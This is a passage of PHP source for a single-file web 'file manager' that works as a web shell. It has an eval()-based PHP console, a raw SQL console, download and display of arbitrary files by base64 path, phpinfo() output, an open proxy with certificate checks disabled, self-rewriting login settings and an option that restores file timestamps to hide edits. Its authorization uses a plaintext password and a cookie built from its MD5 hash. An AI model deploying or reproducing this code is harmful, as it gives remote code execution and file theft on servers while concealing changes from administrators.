	ini_set('display_errors', '1');

	ob_start();

	eval(trim($string));

	$text = ob_get_contents();

	ob_end_clean();

	ini_set('display_errors', $display_errors);

	return $text;

}


//SHOW DATABASES

function fm_sql_connect(){

	global $fmo_config;

	return new mysqli($fmo_config['sql_server'], $fmo_config['sql_username'], $fmo_config['sql_password'], $fmo_config['sql_db']);

}


function fm_sql($query){

	global $fmo_config;

	$query=trim($query);

	ob_start();

	$connection = fm_sql_connect();

	if ($connection->connect_error) {

		        ob_end_clean();	

		        return $connection->connect_error;

	}

	$connection->set_charset('utf8');

                        $queried = mysqli_query($connection,$query);

	if ($queried===false) {

		        ob_end_clean();	

		        return mysqli_error($connection);

                        } else {

		        if(!empty($queried)){

                                 while($row = mysqli_fetch_assoc($queried)) {

                                 	$query_result[]=  $row;

                                 }

		        }

		        $vdump=empty($query_result)?'':var_export($query_result,true);	

		        ob_end_clean();	

		        $connection->close();

		        return '<pre>'.stripslashes($vdump).'</pre>';

	}

}


function fm_backup_tables($tables = '*', $full_backup = true) {

	global $path;

	$mysqldb = fm_sql_connect();

	$delimiter = "; \n  \n";

	if($tables == '*')	{

		        $tables = array();

		        $result = $mysqldb->query('SHOW TABLES');

		        while($row = mysqli_fetch_row($result))	{

                                 $tables[] = $row[0];

		        }

	} else {

		        $tables = is_array($tables) ? $tables : explode(',',$tables);

	}

                        
	$return='';

	foreach($tables as $table)	{

		        $result = $mysqldb->query('SELECT * FROM '.$table);

		        $num_fields = mysqli_num_fields($result);

		        $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;

		        $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));

		        $return.=$row2[1].$delimiter;

                                                if ($full_backup) {

		        for ($i = 0; $i < $num_fields; $i++)  {

                                 while($row = mysqli_fetch_row($result)) {

                                 	$return.= 'INSERT INTO `'.$table.'` VALUES(';

                                 	for($j=0; $j<$num_fields; $j++)	{

                                 		        $row[$j] = addslashes($row[$j]);

                                 		        $row[$j] = str_replace("\n","\\n",$row[$j]);

                                 		        if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }

                                 		        if ($j<($num_fields-1)) { $return.= ','; }

                                 	}

                                 	$return.= ')'.$delimiter;

                                 }

		          }

		        } else { 

		        $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);

		        }

		        $return.="\n\n\n";

	}


	//save file

                        $file=gmdate("Y-m-d_H-i-s",time()).'.sql';

	$handle = fopen($file,'w+');

	fwrite($handle,$return);

	fclose($handle);

	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';

                        return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';

}


function fm_restore_tables($sqlFileToExecute) {

	$mysqldb = fm_sql_connect();

	$delimiter = "; \n  \n";

                        // Load and explode the sql file

                        $f = fopen($sqlFileToExecute,"r+");

                        $sqlFile = fread($f,filesize($sqlFileToExecute));

                        $sqlArray = explode($delimiter,$sqlFile);

	
                        //Process the sql file by statements

                        foreach ($sqlArray as $stmt) {

                                                if (strlen($stmt)>3){

                                 $result = $mysqldb->query($stmt);

                                 	if (!$result){

                                 		        $sqlErrorCode = mysqli_errno($mysqldb->connection);

                                 		        $sqlErrorText = mysqli_error($mysqldb->connection);

                                 		        $sqlStmt                          = $stmt;

                                 		        break;

                                                   	                         }

                                                   	  }

                                                   }

if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;

else return $sqlErrorText.'<br/>'.$stmt;

}


function fm_img_link($filename){

	return './'.basename(__FILE__).'?img='.base64_encode($filename);

}


function fm_home_style(){

	return '

input, input.fm_input {

	text-indent: 2px;

}


input, textarea, select, input.fm_input {

	color: black;

	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;

	border-color: black;

	background-color: #FCFCFC none !important;

	border-radius: 0;

	padding: 2px;

}


input.fm_input {

	background: #FCFCFC none !important;

	cursor: pointer;

}


.home {

	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");

	background-repeat: no-repeat;

}';

}


function fm_config_checkbox_row($name,$value) {

	global $fmo_config;

	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fmo_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';

}


function fm_protocol() {

	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';

	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';

	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';

	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';

	return 'http://';

}


function fm_site_url() {

	return fm_protocol().$_SERVER['HTTP_HOST'];

}


function fm_url($full=false) {

	$host=$full?fm_site_url():'.';

	return $host.'/'.basename(__FILE__);

}


function fm_home($full=false){

	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';

}


function fm_run_input($lng) {

	global $fmo_config;

	$return = !empty($fmo_config['enable_'.$lng.'_console']) ? 

	'

                                 	<form  method="post" action="'.fm_url().'" style="display:inline">

                                 	<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">

                                 	</form>

' : '';

	return $return;

}


function fm_url_proxy($matches) {

	$link = str_replace('&amp;','&',$matches[2]);

	$url = isset($_GET['url'])?$_GET['url']:'';

	$parse_url = parse_url($url);

	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';

	if (substr($link,0,2)=='//') {

		        $link = substr_replace($link,fm_protocol(),0,2);

	} elseif (substr($link,0,1)=='/') {

		        $link = substr_replace($link,$host,0,1);	

	} elseif (substr($link,0,2)=='./') {

		        $link = substr_replace($link,$host,0,2);	

	} elseif (substr($link,0,4)=='http') {

		        //alles machen wunderschon

	} else {

		        $link = $host.$link;

	} 

	if ($matches[1]=='href' && !strripos($link, 'css')) {

		        $base = fm_site_url().'/'.basename(__FILE__);

		        $baseq = $base.'?proxy=true&url=';

		        $link = $baseq.urlencode($link);

	} elseif (strripos($link, 'css')){

		        //как-то тоже подменять надо

	}

	return $matches[1].'="'.$link.'"';

}

 
function fm_tpl_form($lng_tpl) {

	global ${$lng_tpl.'_templates'};

	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);

	$str = '';

	foreach ($tpl_arr as $ktpl=>$vtpl) {

		        $str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';

	}

return '

<table>

<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>

<form method="post" action="">

<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">

<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>

'.$str.'

<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>

</form>

<form method="post" action="">

<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">

<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>

<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>

</form>

</table>

';

}


function find_text_in_files($dir, $mask, $text) {

                        $results = array();

                        if ($handle = opendir($dir)) {

                                                while (false !== ($entry = readdir($handle))) {

                                                                        if ($entry != "." && $entry != "..") {

                                                                                                $path = $dir . "/" . $entry;

                                                                                                if (is_dir($path)) {

                                                                                                                        $results = array_merge($results, find_text_in_files($path, $mask, $text));

                                                                                                } else {

                                                                                                                        if (fnmatch($mask, $entry)) {

                                                                                                                                                $contents = file_get_contents($path);

                                                                                                                                                if (strpos($contents, $text) !== false) {

                                                                                                                                                                        $results[] = str_replace('//', '/', $path);

                                                                                                                                                }

                                                                                                                        }

                                                                                                }

                                                                        }

                                                }

                                                closedir($handle);

                        }

                        return $results;

}



/* End Functions */


// authorization

if ($auth_mydevice['authorize']) {

	if (isset($_POST['login']) && isset($_POST['password'])){

		        if (($_POST['login']==$auth_mydevice['login']) && ($_POST['password']==$auth_mydevice['password'])) {

                                 setcookie($auth_mydevice['cookie_name'], $auth_mydevice['login'].'|'.md5($auth_mydevice['password']), time() + (86400 * $auth_mydevice['days_authorization']));

                                 $_COOKIE[$auth_mydevice['cookie_name']]=$auth_mydevice['login'].'|'.md5($auth_mydevice['password']);

		        }

	}

	if (!isset($_COOKIE[$auth_mydevice['cookie_name']]) OR ($_COOKIE[$auth_mydevice['cookie_name']]!=$auth_mydevice['login'].'|'.md5($auth_mydevice['password']))) {

		        echo '

<!doctype html>

<html>

<head>

<meta charset="utf-8" />

<meta name="viewport" content="width=device-width, initial-scale=1" />

<title>'.__('File manager').'</title>

</head>

<body>

<form action="" method="post">

'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;

'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;

<input type="submit" value="'.__('Enter').'" class="fm_input">

</form>

'.fm_lang_form($language_benros).'

</body>

</html>

';  

die();

	}

	if (isset($_POST['quit'])) {

		        unset($_COOKIE[$auth_mydevice['cookie_name']]);

		        setcookie($auth_mydevice['cookie_name'], '', time() - (86400 * $auth_mydevice['days_authorization']));

		        header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);

	}

}


// Change config

if (isset($_GET['fm_settings'])) {

	if (isset($_GET['fm_config_delete'])) { 

		        unset($_COOKIE['fm_config']);

		        setcookie('fm_config', '', time() - (86400 * $auth_mydevice['days_authorization']));

		        header('Location: '.fm_url().'?fm_settings=true');

		        exit(0);

	}	elseif (isset($_POST['fm_config'])) { 

		        $fmo_config = $_POST['fm_config'];

		        setcookie('fm_config', serialize($fmo_config), time() + (86400 * $auth_mydevice['days_authorization']));

		        $_COOKIE['fm_config'] = serialize($fmo_config);

		        $msg_now = __('Settings').' '.__('done');

	}	elseif (isset($_POST['fm_login'])) { 

		        if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];

		        $fm_login = json_encode($_POST['fm_login']);

		        $fgc = file_get_contents(__FILE__);

		        $search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

		        if (!empty($matches[1])) {

                                 $filemtime = filemtime(__FILE__);

                                 $replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);

                                 if (file_put_contents(__FILE__, $replace)) {

                                 	$msg_now .= __('File updated');

                                 	if ($_POST['fm_login']['login'] != $auth_mydevice['login']) $msg_now .= ' '.__('Login').': '.$_POST['fm_login']['login'];

                                 	if ($_POST['fm_login']['password'] != $auth_mydevice['password']) $msg_now .= ' '.__('Password').': '.$_POST['fm_login']['password'];

                                 	$auth_mydevice = $_POST['fm_login'];

                                 }

                                 else $msg_now .= __('Error occurred');

                                 if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime);

		        }

	} elseif (isset($_POST['tpl_edited'])) { 

		        $lng_tpl = $_POST['tpl_edited'];

		        if (!empty($_POST[$lng_tpl.'_name'])) {

                                 $fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);

		        } elseif (!empty($_POST[$lng_tpl.'_new_name'])) {

                                 $fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);

		        }

		        if (!empty($fm_php)) {

                                 $fgc = file_get_contents(__FILE__);

                                 $search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);

                                 if (!empty($matches[1])) {

                                 	$filemtime = filemtime(__FILE__);

                                 	$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);

                                 	if (file_put_contents(__FILE__, $replace)) {

                                 		        ${$lng_tpl.'_templates'} = $fm_php;

                                 		        $msg_now .= __('File updated');

                                 	} else $msg_now .= __('Error occurred');

                                 	if (!empty($fmo_config['fm_restore_time'])) touch(__FILE__,$filemtime);

                                 }	

		        } else $msg_now .= __('Error occurred');

	}

}


// Just show image

if (isset($_GET['img'])) {

	$file=base64_decode($_GET['img']);

	if ($info=getimagesize($file)){

		        switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP

                                 case 1: $ext='gif'; break;

                                 case 2: $ext='jpeg'; break;

                                 case 3: $ext='png'; break;

                                 case 6: $ext='bmp'; break;

                                 default: die();

		        }

		        header("Content-type: image/$ext");

		        echo file_get_contents($file);

		        die();

	}

}


// Just download file

if (isset($_GET['download'])) {

	$file=base64_decode($_GET['download']);

	fm_download($file);	

}


// Just show info

if (isset($_GET['phpinfo'])) {

	phpinfo(); 

	die();

}


// Mini proxy, many bugs!

if (isset($_GET['proxy']) && (!empty($fmo_config['enable_proxy']))) {

	$url = isset($_GET['url'])?urldecode($_GET['url']):'';

	$proxy_form = '

<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">

	<form action="" method="GET">

	<input type="hidden" name="proxy" value="true">

	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">

	<input type="submit" value="'.__('Show').'" class="fm_input">

	</form>

</div>

';

	if ($url) {

		        $ch = curl_init($url);

		        curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');

		        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);

		        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);

		        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);

		        curl_setopt($ch, CURLOPT_HEADER, 0);

		        curl_setopt($ch, CURLOPT_REFERER, $url);

		        curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);

		        $result = curl_exec($ch);

		        curl_close($ch);

		        //$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);

		        $result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);

		        $result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);

		        echo $result;

		        die();

	} 

}

?>
<!doctype html>

<html>

<head>                         

	<meta charset="utf-8" />

	<meta name="viewport" content="width=device-width, initial-scale=1" />

                        <title><?=__('File manager')?></title>

<style>

body {

	background-color:	white;

	font-family:		        Verdana, Arial, Helvetica, sans-serif;

	font-size:                                 8pt;

	margin:                                 	0px;

}


a:link, a:active, a:visited { color: #006699; text-decoration: none; }

a:hover { color: #DD6900; text-decoration: underline; }

a.th:link { color: #FFA34F; text-decoration: none; }

a.th:active { color: #FFA34F; text-decoration: none; }

a.th:visited { color: #FFA34F; text-decoration: none; }

a.th:hover {  color: #FFA34F; text-decoration: underline; }


table.bg {

	background-color: #ACBBC6

}


th, td { 

	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;

	padding: 3px;

}


th	{

	height:                                 	25px;

	background-color:	#006699;

	color:                                 	#FFA34F;

	font-weight:		        bold;

	font-size:                                 11px;

}


.row1 {

	background-color:	#EFEFEF;

}


.row2 {

	background-color:	#DEE3E7;

}


.row3 {

	background-color:	#D1D7DC;

	padding: 5px;

}


tr.row1:hover {

	background-color:	#F3FCFC;

}


tr.row2:hover {

	background-color:	#F0F6F6;

}


.whole {

	width: 100%;

}


.all tbody td:first-child{width:100%;}


textarea {

	font: 9pt 'Courier New', courier;

	line-height: 125%;

	padding: 5px;

}


.textarea_input {

	height: 1em;

}


.textarea_input:focus {

	height: auto;

}


input[type=submit]{

	background: #FCFCFC none !important;

	cursor: pointer;

}


.folder {

                        background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaC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6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");

}


.file {

                        background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAIC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AAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");

}

<?=fm_home_style()?>

.img {

	background-image: 

url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");

}

@media screen and (max-width:720px){

  table{display:block;}

                        #fm_table td{display:inline;float:left;}

                        #fm_table tbody td:first-child{width:100%;padding:0;}

                        #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}

                        #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}

                        #fm_table tr{display:block;float:left;clear:left;width:100%;}

	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}

	#header_table table td {display:inline;float:left;}

}

</style>

</head>

<body>

<?php
$url_inc = '?fm=true';

if (isset($_POST['sqlrun'])&&!empty($fmo_config['enable_sql_console'])){

	$res = empty($_POST['sql']) ? '' : $_POST['sql'];

	$res_lng = 'sql';

} elseif (isset($_POST['phprun'])&&!empty($fmo_config['enable_php_console'])){

	$res = empty($_POST['php']) ? '' : $_POST['php'];

	$res_lng = 'php';

} 

if (isset($_GET['fm_settings'])) {

	echo ' 

<table class="whole">

<form method="post" action="">

<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>

'.(empty($msg_now)?'':'<tr><td class="row2" colspan="2">'.$msg_now.'</td></tr>').'

'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'

'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'

'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'

'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'

'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'

'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'

'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'

'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'

'.fm_config_checkbox_row(__('Show').' xls','show_xls').'

'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'

'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'

<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fmo_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>

<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fmo_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>

<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fmo_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>

<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fmo_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>

'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'

'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'

'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'

'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'

'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'

<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>

</form>

</table>

<table>

<form method="post" action="">

<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>

<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth_mydevice['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>

<tr><td class="row1"><input name="fm_login[login]" value="'.$auth_mydevice['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>

<tr><td class="row1"><input name="fm_login[password]" value="'.$auth_mydevice['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>

<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth_mydevice['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>

<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth_mydevice['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>

<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth_mydevice['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>

<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>

</form>

</table>';

echo fm_tpl_form('php'),fm_tpl_form('sql');

} elseif (isset($proxy_form)) {

	die($proxy_form);

